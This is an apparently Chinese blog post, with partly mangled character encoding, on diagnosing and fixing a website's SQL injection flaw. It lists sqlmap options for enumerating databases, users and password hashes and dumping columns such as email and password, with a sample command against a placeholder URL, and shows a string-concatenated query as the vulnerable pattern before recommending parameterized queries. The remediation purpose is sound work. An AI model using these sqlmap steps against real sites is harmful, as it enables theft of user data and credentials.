站點(diǎn)SQL注入問題分析及解決

1、問題:網(wǎng)站被SQL注入，可以看到使用庫、表、及數(shù)據(jù)情況

2、解決:前后端加固，同時(shí)底層Sql查詢一定要使用參數(shù)化

注入分析使用工具：sqlmap

一、安裝sqlmap工具

1、在安裝前，需要先安裝Python環(huán)境， 安裝參考：http://blog.csdn.net/baigoocn/article/details/51456721 上面有說明

2、下載sqlmap工具包，將文件放在Python環(huán)境的安裝目錄下的sqlmap目錄中， 

     輸入sqlmap.py -h，查看信息提示安裝成功

3、常用的參數(shù)

      -u：指定注入點(diǎn)url

     --dbs：dbs前面有兩條杠(所有數(shù)據(jù)庫名稱)

     --current-db  web當(dāng)前使用的數(shù)據(jù)庫

     --current-user   web數(shù)據(jù)庫使用賬戶

     --users    所有用戶

     --passwords   數(shù)據(jù)庫賬戶與密碼

     -D tourdata --tables     -D：指定數(shù)據(jù)庫名稱    --tables：列出表

     -D tourdata -T userb --columns    -D：指定數(shù)據(jù)庫名稱   -T：指定要列出字段的表   --columns：指定列出字段

     -D tourdata -T userb -C "email,Username,userpassword" --dump   -C ：指定要暴的字段  --dump：將結(jié)果導(dǎo)出 

           --start 1 --stop 10    指定導(dǎo)出特定范圍的字段內(nèi)容  --start：指定開始的行  --stop：指定結(jié)束的行

  (參考：http://blog.csdn.NET/zgyulongfei/article/details/41017493 ）

--current-db    --current-user

D:\Python27\sqlmap>sqlmap.py -u http://xxx.com/cms/xxx_view.aspx?cpn_id=fb509dacdd224a179fde6e71e824ec95 --current-db

--users

-D FJHBA --tables

還有通過更多的參數(shù)，來獲取到相關(guān)的信息內(nèi)容

從以上的操作來執(zhí)行，等同于數(shù)據(jù)就完全被查了，這個很危險(xiǎn)！

在寫任何sql語句時(shí)，不允許使用拼接的方式！

這種寫法存在注入的風(fēng)險(xiǎn)

select * from tableA where col1 = '+ colId +';

要改用參數(shù)形式:parameter